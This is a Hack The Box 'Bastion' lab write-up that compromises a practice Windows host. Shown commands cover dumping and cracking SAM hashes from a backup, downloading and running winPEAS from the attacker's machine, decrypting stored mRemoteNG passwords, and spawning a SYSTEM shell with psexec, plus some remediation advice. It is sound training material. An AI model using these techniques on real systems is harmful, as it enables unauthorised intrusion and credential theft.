Breaking Through a Bastion - HacktheBox 'Bastion' writeup
Breaking Through a Bastion - HacktheBox ‘Bastion’ writeup
Host Information
Hostname | IP Address | Operating System | Difficulty Level |
Bastion | 10.10.10.134 | Windows | Easy |
Initial Recon
nmap information
An initial full TCP nmap scan of the host was run with the followiong command:
nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN "/HTB/mango/scans/_full_tcp_nmap.txt" -oX "/HTB/mango/scans/xml/_full_tcp_nmap.xml" 10.10.10.162
The following ports were revealed open on the target, followed by the full nmap script ouput below:
10.10.10.134
Port | State | Service | Version |
---|---|---|---|
22/tcp | open | ssh | OpenSSH for_Windows_7.9 |
135/tcp | open | msrpc | Microsoft Windows RPC |
139/tcp | open | netbios-ssn | Microsoft Windows netbios-ssn |
445/tcp | open | microsoft-ds | Windows Server 2016 Standard 14393 microsoft-ds |
5985/tcp | open | http | Microsoft HTTPAPI httpd 2.0 |
47001/tcp | open | http | Microsoft HTTPAPI httpd 2.0 |
49664/tcp | open | msrpc | Microsoft Windows RPC |
49665/tcp | open | msrpc | Microsoft Windows RPC |
49666/tcp | open | msrpc | Microsoft Windows RPC |
49667/tcp | open | msrpc | Microsoft Windows RPC |
49668/tcp | open | msrpc | Microsoft Windows RPC |
49669/tcp | open | msrpc | Microsoft Windows RPC |
49670/tcp | open | msrpc | Microsoft Windows RPC |
nmap scan output
# Nmap 7.80 scan initiated Thu Aug 27 21:43:47 2020 as: nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN /0ps/HTB/bastion/scans/_full_tcp_nmap.txt -oX /0ps/HTB/bastion/scans/xml/_full_tcp_nmap.xml 10.10.10.134
Nmap scan report for 10.10.10.134
Host is up, received user-set (0.042s latency).
Scanned at 2020-08-27 21:43:48 CDT for 115s
Not shown: 65522 closed ports
Reason: 65522 resets
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 127 OpenSSH for_Windows_7.9 (protocol 2.0)
| ssh-hostkey:
| 2048 3a:56:ae:75:3c:78:0e:c8:56:4d:cb:1c:22:bf:45:8a (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3bG3TRRwV6dlU1lPbviOW+3fBC7wab+KSQ0Gyhvf9Z1OxFh9v5e6GP4rt5Ss76ic1oAJPIDvQwGlKdeUEnjtEtQXB/78Ptw6IPPPPwF5dI1W4GvoGR4MV5Q6CPpJ6HLIJdvAcn3isTCZgoJT69xRK0ymPnqUqaB+/ptC4xvHmW9ptHdYjDOFLlwxg17e7Sy0CA67PW/nXu7+OKaIOx0lLn8QPEcyrYVCWAqVcUsgNNAjR4h1G7tYLVg3SGrbSmIcxlhSMexIFIVfR37LFlNIYc6Pa58lj2MSQLusIzRoQxaXO4YSp/dM1tk7CN2cKx1PTd9VVSDH+/Nq0HCXPiYh3
| 256 cc:2e:56:ab:19:97:d5:bb:03:fb:82:cd:63:da:68:01 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBF1Mau7cS9INLBOXVd4TXFX/02+0gYbMoFzIayeYeEOAcFQrAXa1nxhHjhfpHXWEj2u0Z/hfPBzOLBGi/ngFRUg=
| 256 93:5f:5d:aa:ca:9f:53:e7:f2:82:e6:64:a8:a3:a0:18 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB34X2ZgGpYNXYb+KLFENmf0P0iQ22Q0sjws2ATjFsiN
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
445/tcp open microsoft-ds syn-ack ttl 127 Windows Server 2016 Standard 14393 microsoft-ds
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49665/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49666/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49668/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49669/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49670/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
Aggressive OS guesses: Microsoft Windows Server 2016 build 10586 - 14393 (96%), Microsoft Windows Server 2016 (95%), Microsoft Windows 10 (93%), Microsoft Windows 10 1507 (93%), Microsoft Windows 10 1507 - 1607 (93%), Microsoft Windows 10 1511 (93%), Microsoft Windows Server 2012 (93%), Microsoft Windows Server 2012 R2 (93%), Microsoft Windows Server 2012 R2 Update 1 (93%), Microsoft Windows 7, Windows Server 2012, or Windows 8.1 Update 1 (93%)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=8/27%OT=22%CT=1%CU=39127%PV=Y%DS=2%DC=T%G=Y%TM=5F486FD
OS:7%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10E%TI=I%CI=I%II=I%SS=S%TS=
OS:A)SEQ(SP=105%GCD=1%ISR=10E%TI=I%CI=I%II=I%TS=A)OPS(O1=M54DNW8ST11%O2=M54
OS:DNW8ST11%O3=M54DNW8NNT11%O4=M54DNW8ST11%O5=M54DNW8ST11%O6=M54DST11)WIN(W
OS:1=2000%W2=2000%W3=2000%W4=2000%W5=2000%W6=2000)ECN(R=Y%DF=Y%T=80%W=2000%
OS:O=M54DNW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%
OS:T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S=Z%A=O%F=AR%O=%RD
OS:=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S
OS:=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R
OS:=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=80%IPL=164%UN=0%
OS:RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z)
Uptime guess: 0.003 days (since Thu Aug 27 21:41:30 2020)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -37m12s, deviation: 1h09m14s, median: 2m45s
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 47074/tcp): CLEAN (Couldn't connect)
| Check 2 (port 26941/tcp): CLEAN (Couldn't connect)
| Check 3 (port 10709/udp): CLEAN (Failed to receive data)
| Check 4 (port 18741/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: Bastion
| NetBIOS computer name: BASTION\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2020-08-28T04:48:23+02:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-08-28T02:48:21
|_ start_date: 2020-08-28T02:44:30
TRACEROUTE (using port 554/tcp)
HOP RTT ADDRESS
1 41.84 ms 10.10.14.1
2 41.91 ms 10.10.10.134
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Aug 27 21:45:43 2020 -- 1 IP address (1 host up) scanned in 116.43 seconds
nmap scan observations
We can see that the target is Windows, likely Server 2016 based on the OS detection scripts from nmap and the SMB services. A number of ports and services are found to be externally visible, 13 in total. Seven of these are higher ports which appear to be MSRPC services. Of particular interest is that OpenSSH for Windows 7.9 is shown running on SSH’s standard TCP port 22. This software is nonstandard, so definitely worth a note. an MS RPC service is running on the standard TCP port 135. as well as netbios-ssn/SMB on standard port 139. SMB is also running on the standard TCP port 445. Addiitonally two HTTAPI 2.0 services are shown running on ports 5985 and 47001
SMB, NetBIOS, and RPC Enumeration
Let’s begin with enumeration of the netBIOS, RPC, and SMB services on 135, 139, and 445. We see a share listing by running smbclient against the target, with the results shown below.
initinfosec@kali:/0ps/HTB/bastion/scans$ smbclient -L\\ -N -I 10.10.10.134
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
Backups Disk
C$ Disk Default share
IPC$ IPC Remote IPC
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.134 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
C$ and IPC$ are standard system shares which we likely do not have access to externally without authentication. ADMIN$ also exists, and of particular interest ‘Backups’ which seems to be a nonstandard share.
We can see similar results by running smbmap, noting that access is denied if provide a null session, but using non-existent login information allows for a connection, showing that null sessions are not allowed but guest sessions are accepted, and valid auth is not needed.
initinfosec@kali:/0ps/HTB/bastion/scans$ smbmap -H 10.10.10.134 -u "" -p ""
[!] Authentication error on 10.10.10.134
initinfosec@kali:/0ps/HTB/bastion/scans$ smbmap -H 10.10.10.134 -u "test" -p "test"
[+] Guest session IP: 10.10.10.134:445 Name: 10.10.10.134
[|] Work[!] Unable to remove test directory at \\10.10.10.134\Backups\AWOGZGYERM, please remove manually
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
Backups READ, WRITE
C$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC
Running enum4linux or enum4linux-ng shows the same information, but has no additional information to provide (other checks failed auth or returned nothing). The command run is:
enum4linux-ng -A -L -u "test" -p "test" -d 10.10.10.134
We can also run a suite of nmap NSE scripts to check for known SMB vulnerabilities, though this too comes up with nothing useful, likely indicating that exploits such as EternalBlue and other SMB RCE exploits are not likely to be viable. The nmap command run is also shown below.
sudo nmap -vv --reason -Pn -sV -p139,445 --script=smb-vuln* --script-args="unsafe=1" 10.10.10.134
We can then list the contents of the Backups folder, providing a username and password of ‘test’ again, using the below command:
initinfosec@kali:/0ps/HTB/bastion/scans$ smbclient //10.10.10.134/Backups -c 'recurse;ls' test -U test
. D 0 Fri Aug 28 14:18:50 2020
.. D 0 Fri Aug 28 14:18:50 2020
AWOGZGYERM D 0 Fri Aug 28 14:18:50 2020
note.txt AR 116 Tue Apr 16 05:10:09 2019
SDT65CB.tmp A 0 Fri Feb 22 06:43:08 2019
WindowsImageBackup Dn 0 Fri Feb 22 06:44:02 2019
\AWOGZGYERM
. D 0 Fri Aug 28 14:18:50 2020
.. D 0 Fri Aug 28 14:18:50 2020
\WindowsImageBackup
. Dn 0 Fri Feb 22 06:44:02 2019
.. Dn 0 Fri Feb 22 06:44:02 2019
L4mpje-PC Dn 0 Fri Feb 22 06:45:32 2019
\WindowsImageBackup\L4mpje-PC
. Dn 0 Fri Feb 22 06:45:32 2019
.. Dn 0 Fri Feb 22 06:45:32 2019
Backup 2019-02-22 124351 Dn 0 Fri Feb 22 06:45:32 2019
Catalog Dn 0 Fri Feb 22 06:45:32 2019
MediaId An 16 Fri Feb 22 06:44:02 2019
SPPMetadataCache Dn 0 Fri Feb 22 06:45:32 2019
\WindowsImageBackup\L4mpje-PC\Backup 2019-02-22 124351
. Dn 0 Fri Feb 22 06:45:32 2019
.. Dn 0 Fri Feb 22 06:45:32 2019
9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd An 37761024 Fri Feb 22 06:44:03 2019
9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd An 5418299392 Fri Feb 22 06:45:32 2019
BackupSpecs.xml An 1186 Fri Feb 22 06:45:32 2019
cd113385-65ff-4ea2-8ced-5630f6feca8f_AdditionalFilesc3b9f3c7-5e52-4d5e-8b20-19adc95a34c7.xml An 1078 Fri Feb 22 06:45:32 2019
cd113385-65ff-4ea2-8ced-5630f6feca8f_Components.xml An 8930 Fri Feb 22 06:45:32 2019
cd113385-65ff-4ea2-8ced-5630f6feca8f_RegistryExcludes.xml An 6542 Fri Feb 22 06:45:32 2019
cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer4dc3bdd4-ab48-4d07-adb0-3bee2926fd7f.xml An 2894 Fri Feb 22 06:45:32 2019
cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer542da469-d3e1-473c-9f4f-7847f01fc64f.xml An 1488 Fri Feb 22 06:45:32 2019
cd113385-65ff-4ea2-8ced-5630f6feca8f_Writera6ad56c2-b509-4e6c-bb19-49d8f43532f0.xml An 1484 Fri Feb 22 06:45:32 2019
cd113385-65ff-4ea2-8ced-5630f6feca8f_Writerafbab4a2-367d-4d15-a586-71dbb18f8485.xml An 3844 Fri Feb 22 06:45:32 2019
cd113385-65ff-4ea2-8ced-5630f6feca8f_Writerbe000cbe-11fe-4426-9c58-531aa6355fc4.xml An 3988 Fri Feb 22 06:45:32 2019
cd113385-65ff-4ea2-8ced-5630f6feca8f_Writercd3f2362-8bef-46c7-9181-d62844cdc0b2.xml An 7110 Fri Feb 22 06:45:32 2019
cd113385-65ff-4ea2-8ced-5630f6feca8f_Writere8132975-6f93-4464-a53e-1050253ae220.xml An 2374620 Fri Feb 22 06:45:32 2019
\WindowsImageBackup\L4mpje-PC\Catalog
. Dn 0 Fri Feb 22 06:45:32 2019
.. Dn 0 Fri Feb 22 06:45:32 2019
BackupGlobalCatalog An 5698 Fri Feb 22 06:44:02 2019
GlobalCatalog An 7440 Fri Feb 22 06:45:32 2019
\WindowsImageBackup\L4mpje-PC\SPPMetadataCache
. Dn 0 Fri Feb 22 06:45:32 2019
.. Dn 0 Fri Feb 22 06:45:32 2019
{cd113385-65ff-4ea2-8ced-5630f6feca8f} An 57848 Fri Feb 22 06:45:32 2019
7735807 blocks of size 4096. 2758392 blocks available
Interesting, so it seems that there is a backup of a windows system in this fulter, not surprisingly. Additionally there is a note.txt file we’ll want to check out. Let’s mount the share locally, using the cifs-utils package, which will need to be installed if you don’t have it. Let’s make a directory called ‘backups’ and mount the remote filesystem locally there. Again we’lll use made up credentials of testuser as null credentials will fail to access the SMB share:
initinfosec@kali:/0ps/HTB/bastion/loot$ sudo mount -t cifs //10.10.10.134/Backups ./backups/ -o user=testuser
🔐 Password for testuser@//10.10.10.134/Backups: ********
initinfosec@kali:/0ps/HTB/bastion/loot$ ls -ltr ./backups/
total 1
-rwxr-xr-x 1 root root 0 Feb 22 2019 SDT65CB.tmp
drwxr-xr-x 2 root root 0 Feb 22 2019 WindowsImageBackup
-r-xr-xr-x 1 root root 116 Apr 16 2019 note.txt
drwxr-xr-x 2 root root 0 Aug 28 14:18 AWOGZGYERM
Now we can cat note.txt and find the following:
Sysadmins: please don't transfer the entire backup file locally, the VPN to the subsidiary office is too slow.
Great, so let’s see if we can view the backup files. It’s possible that these are large files that we want to mount rather than extract, should the option present, based on the above note. From the WindowsImageBackup folder we see a single PC name: “L4mpje-PC.” Looking inside, we see a backup vhd file dated 2019-02-22:
initinfosec@kali:/0ps/HTB/bastion/loot/backups/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351$ ls
9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd
9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd
BackupSpecs.xml
cd113385-65ff-4ea2-8ced-5630f6feca8f_AdditionalFilesc3b9f3c7-5e52-4d5e-8b20-19adc95a34c7.xml
cd113385-65ff-4ea2-8ced-5630f6feca8f_Components.xml
cd113385-65ff-4ea2-8ced-5630f6feca8f_RegistryExcludes.xml
cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer4dc3bdd4-ab48-4d07-adb0-3bee2926fd7f.xml
cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer542da469-d3e1-473c-9f4f-7847f01fc64f.xml
cd113385-65ff-4ea2-8ced-5630f6feca8f_Writera6ad56c2-b509-4e6c-bb19-49d8f43532f0.xml
cd113385-65ff-4ea2-8ced-5630f6feca8f_Writerafbab4a2-367d-4d15-a586-71dbb18f8485.xml
cd113385-65ff-4ea2-8ced-5630f6feca8f_Writerbe000cbe-11fe-4426-9c58-531aa6355fc4.xml
cd113385-65ff-4ea2-8ced-5630f6feca8f_Writercd3f2362-8bef-46c7-9181-d62844cdc0b2.xml
cd113385-65ff-4ea2-8ced-5630f6feca8f_Writere8132975-6f93-4464-a53e-1050253ae220.xml
initinfosec@kali:/0ps/HTB/bastion/loot/backups/WindowsImageBackup/L4mpje-PC/Backup 2
We’ll want to mount the vhd as discussed earlier, which guestmount should be able to do. In kali, we’ll need to install the libguestfs-tools package in order to use this tool. It appears that my current build of kali has the guestmount package removed, and grabbing the deb from debian causes a bunch of dependcy issues, so i’ll be copying the VHD files to Windows to view them there without extracting. I think guestmount would be the prefered solution to mount the VHD without extracting, so the command do to so in this context would look something like this:
initinfosec@kali:/0ps/HTB/bastion/loot/backups$ guestmount --add ./WindowsImageBackup/L4mpje-PC/Backup\ 2019-02-22\ 124351/9b9cfbc*.vhd --inspector --ro ./vhd -v
Viewing the smaller VHD file 9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd first, we see it appears to be the boot partition with the contents shown below.
Viewing the larger VHD file, we see what looks like a more standard filesystem backup, shown below:
Browsing through user folders and other files we don’t see anything super useful on a quick glance.
gaining an initial foothold
However, if this is a full system backup, we may be able to pull the SAM & SYSTEM files from the system directory to try to crack the credentials for the box and see if they work with SSH.
These files are usually located in C:\Windows\System32\config\. Going that directory we find both the SAM and system files, which we can then copy locally. Once copied, I transferred them back to kali in my working “loot” directory for the box. Once done, we can convert these files to hashes using the samdump2 tool in kali. The tool is run like shown below, and we see we successfully have hashes:
initinfosec@kali:/0ps/HTB/bastion/loot$ samdump2 SYSTEM SAM -o backup.hashes
initinfosec@kali:/0ps/HTB/bastion/loot$ cat backup.hashes
*disabled* Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
L4mpje:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::
We also see that the LM hashes for each user are blank (aad3b435b51404eeaad3b435b51404ee is a blank value hashed), indicating an NT hash format is used. We can copy the hash for the L4mpje user to it’s own file, and tell john to attempt to crack the NT hash using the below commands:
initinfosec@kali:/0ps/HTB/bastion/loot$ cat L4mpje.hash
26112010952d963c8dc4217daec986d9
initinfosec@kali:/0ps/HTB/bastion/loot$ john L4mpje.hash -wordlist:/usr/share/wordlists/rockyou.txt --format=NT
Using default input encoding: UTF-8
Loaded 1 password hash (NT [MD4 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
bureaulampje (?)
1g 0:00:00:00 DONE (2020-08-28 16:02) 2.380g/s 22370Kp/s 22370Kc/s 22370KC/s burg772v..burdy1
Use the "--show --format=NT" options to display all of the cracked passwords reliably
Session completed
Great, so we see we have some credentials: L4mpje / bureaulampje - let’s try them with SSH.
Great, it looks like that worked, and we have access to the user.txt file. Let’s try to see if we can move on to Administrator or SYSTEM access now.
Privilege Escalation
PrivEsc Enumeration
Let’s view our user information with the whoami command:
l4mpje@BASTION C:\Users\L4mpje\Desktop>whoami /all
USER INFORMATION
----------------
User Name SID
============== ==============================================
bastion\l4mpje S-1-5-21-2146344083-2443430429-1430880910-1002
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
====================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
l4mpje@BASTION C:\Users\L4mpje\Desktop>
OK, so it looks like we are a member of a few groups, without Administrative access, and also lack a privilege such as SeImpersonatePrivilege that would allow an exploit like juicy potato to get system access. Let’s switch to a powershell shell (simply run ‘powershell’) and then use winPEAS [found here] to further enumerate system info we can potentially use. Use python3’s http.server module to serve the executable file, and then we can download to the target like so:
PS C:\Users\L4mpje\Desktop> curl http://10.10.14.12/winpeas.exe -outfile winpeas.exe
PS C:\Users\L4mpje\Desktop> .\winpeas.exe > results.dat ; cd c:\Backups\
PS C:\Backups> cp C:\Users\L4mpje\Desktop\results.dat results.dat
Now we can access and save the file locally, like so:
initinfosec@kali:/0ps/HTB/bastion/loot/backups$ cp results.dat ..
After a little viewing of the results, something that stuck out was some of the nonstandard programs installed, with the section of results from winPEAS shown below.
mRemoteNG in specific stood out to me - it is a program for managing remote connections such as SSH and RDP, and specializes in handling multiple sessions fairly well. I’ve used the program before, and seem to remember the option to store credentials for connections being a feature, so began to search if it would be possible to view or extract saved credentials from the program. It seems likely that these credentials would be encrypted, but it may be possible to decrypt them if a weak encryption passphrase was used.
Gaining a system shell
A quick web search seems to further hint that this would be a viable path, as described in this article. Additional searching reveals that there is a metasploit module for just such a functionality, github found here and Rapid7 Article here. However, I want to avoid msf usage if possible, and found a python script that pruportedly serves the same functionality, found on GitHub here.
The location of the credentials seems to be contained in an XML file called confCons.xml, so we can user powershell to query the system for that file:
Get-ChildItem -Path c:\ -Include confCons.xml -File -Recurse -ErrorAction SilentlyContinue
However, no results seem to be shown. After a bit of manual searching, we find a user.config file in an mRemoteNG directory under our current user’s AppData directory path at <>, but this seemed to contain nothing of potential use for privEsc, as it did not contain creds or connection settings. Some more searching shows the file we were after in the AppData Roaming folder, shown here:
PS C:\Users\L4mpje\AppData\Roaming\mRemoteNG> dir
Directory: C:\Users\L4mpje\AppData\Roaming\mRemoteNG
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 22-2-2019 14:01 Themes
-a---- 22-2-2019 14:03 6316 confCons.xml
-a---- 22-2-2019 14:02 6194 confCons.xml.20190222-1402277353.backup
-a---- 22-2-2019 14:02 6206 confCons.xml.20190222-1402339071.backup
-a---- 22-2-2019 14:02 6218 confCons.xml.20190222-1402379227.backup
-a---- 22-2-2019 14:02 6231 confCons.xml.20190222-1403070644.backup
-a---- 22-2-2019 14:03 6319 confCons.xml.20190222-1403100488.backup
-a---- 22-2-2019 14:03 6318 confCons.xml.20190222-1403220026.backup
-a---- 22-2-2019 14:03 6315 confCons.xml.20190222-1403261268.backup
-a---- 22-2-2019 14:03 6316 confCons.xml.20190222-1403272831.backup
-a---- 22-2-2019 14:03 6315 confCons.xml.20190222-1403433299.backup
-a---- 22-2-2019 14:03 6316 confCons.xml.20190222-1403486580.backup
-a---- 22-2-2019 14:03 51 extApps.xml
-a---- 22-2-2019 14:03 5217 mRemoteNG.log
-a---- 22-2-2019 14:03 2245 pnlLayout.xml
PS C:\Users\L4mpje\AppData\Roaming\mRemoteNG>
Looking at the file, we find some potentially interesting information:
PS C:\Users\L4mpje\AppData\Roaming\mRemoteNG> type .\confCons.xml
<?xml version="1.0" encoding="utf-8"?>
<mrng:Connections xmlns:mrng="http://mremoteng.org" Name="Connections" Export="false" EncryptionEngine="AES" BlockCipherMode="GC
M" KdfIterations="1000" FullFileEncryption="false" Protected="ZSvKI7j224Gf/twXpaP5G2QFZMLr1iO1f5JKdtIKL6eUg+eWkL5tKO886au0ofFPW0
oop8R8ddXKAx4KK7sAk6AA" ConfVersion="2.6">
<Node Name="DC" Type="Connection" Descr="" Icon="mRemoteNG" Panel="General" Id="500e7d58-662a-44d4-aff0-3a4f547a3fee" Username="Administrator" Domain="" Password="aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw=="
Hostname="127.0.0.1" Protocol="RDP" PuttySession="Default Settings" Port="3389"
Let’s pass the Adminstrator string to the python script downloaded from earlier, and see if we have any success.
initinfosec@kali:/0ps/tooling/privesc/windows/mRemoteNG-Decrypt$ python3 mremoteng_decrypt.py -s aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw==
Password: thXLHM96BeKL0ER2
In a matter of moments, the password was reverted to plaintext. However, trying this password on SSH does not give a logon. However, it’s possible that the SSH config has just disallowed logon (or password based logon) for the Adminsitrator over SSH, which is good practise. Recall though that we have SMB available on the target, so we can use Impacket’s psexec python script to test the credentials, which, if they allow for successful write to the ADMIN$ share, will spawn a system shell. The command generally looks like: python3 psexec.py WORKGROUP/user:password@IP and is shown below.
initinfosec@kali:/0ps/HTB/bastion/loot$ python3 /usr/local/bin/psexec.py WORKGROUP/Administrator:thXLHM96BeKL0ER2@10.10.10.134 [10/3475]
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
[*] Requesting shares on 10.10.10.134.....
[*] Found writable share ADMIN$
[*] Uploading file QbqIPkFW.exe
[*] Opening SVCManager on 10.10.10.134.....
[*] Creating service POZv on 10.10.10.134.....
[*] Starting service POZv.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
So we see that this password was indeed successful, allowing us to use the Administrative access to spawn a system process and gain a shell as NT_AUTHOIRTY_SYSTEM, as shown in the following screenshot.
Great, from here we can grab root.txt and call it done.
Conclusion
Recommended Remediations
-
Recommended to disallow guest authentication to SMB. This would lessen a fair bit of attack surface for potential malicious actors, and would have closed the route used to gain a system foothold during the assessent.
-
If storing backups that contain sensitive information (such as system passwords), store them in a place with appropriate permission restrictions on them. The backups directory should be password protected.
-
Consider upgrading or migrating away from the mRemoteNG application in order to address the insecure password storage vulnerabilites exploited that allowed for a system shell during the assessment.
All for now; until next time.
~@initinfosec
Let me know what you think of this article on twitter @initinfosec or leave a comment below!